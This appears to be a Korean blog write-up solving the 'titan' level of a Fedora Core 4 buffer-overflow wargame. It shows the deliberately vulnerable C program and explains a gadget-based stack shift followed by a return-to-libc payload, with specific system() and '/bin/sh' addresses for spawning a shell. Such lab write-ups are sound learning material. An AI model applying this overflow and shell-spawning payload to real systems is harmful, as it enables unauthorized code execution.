둘둘리둘둘리둘둘리둘둘리둘둘리둘
[ Fedora Core 4 ] enigma -> titan(clear) 본문
/*
The Lord of the BOF : The Fellowship of the BOF
- titan
- Remote BOF on Fedora Core 4
- hint : ?
- port : TCP 8888
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
static char buffer[40];
static void (*ftn)();
void print()
{
printf("nothing here\n");
fflush(stdout);
}
int main()
{
char buf[48];
ftn = print;
printf("titan : What a tragic mistake.\n");
printf("you : ");
fflush(stdout);
// give me a food
fgets(buf,48,stdin);
// buffer overflow!!
strcpy(buffer,buf);
// preventing RTL
if(((int)ftn & 0xff000000) == 0)
{
printf("I've an allergy to NULL");
exit(1);
}
// clearing buffer
memset(buffer, 0, 40);
ftn();
}
ftn주소와 ftn+3byte까지밖에 조작할 수 없다.
Code-reuse attack인지 ROP인지 정확한 명칭은 잘 모르겠는데 어쨌건 컴파일된 코드를 재사용해서 해결해야되는데, 대략적인 방식은 이렇다.
add esp,XX -> ret 가젯을 찾아서 우리가 조작할 수 있는 버퍼까지 esp를 끌어내리고 버퍼에는 RTL을 준비해서 문제를 해결할 수 있겠지만, main함수 내에는 그런 가젯이 없고 라이브러리 함수는 ftn에 들어가면 ftn 호출 전에 프로그램이 종료되버리게 되있다.
그렇기 때문에 현제 사용할 수 있는 부분이 fgets호출 전 add esp,0x10지점 이다.
(esp가 내려가면서 buf내용이 계속 변경되기 때문에 fgets로 페이로드를 다시 입력받기 위해)
esp를 fget의 리턴주소가 buf를 가리키도록 쭉 내린다음 RTL을 수행하면 되겠다.
system 주소 : 0x007db0e7
"/bin/sh" 주소 : 0x008bd987
페이로드 :
dummy(40) | 0x0804854a | dummy(3)
dummy(40) | 0x0804854a | dummy(3)
dummy(40) | 0x0804854a | dummy(3)
dummy(40) | 0x0804854a | dummy(3)
dummy(8) | &system | dummy(4) | &"/bin/sh"
--풀이--
'War game > 해커 스쿨 FC4' 카테고리의 다른 글
[ Fedora Core 4 ] cruel -> enigma (0) | 2015.09.06 |
---|---|
[ Fedora Core 4 ] dark_stone -> cruel (0) | 2015.08.25 |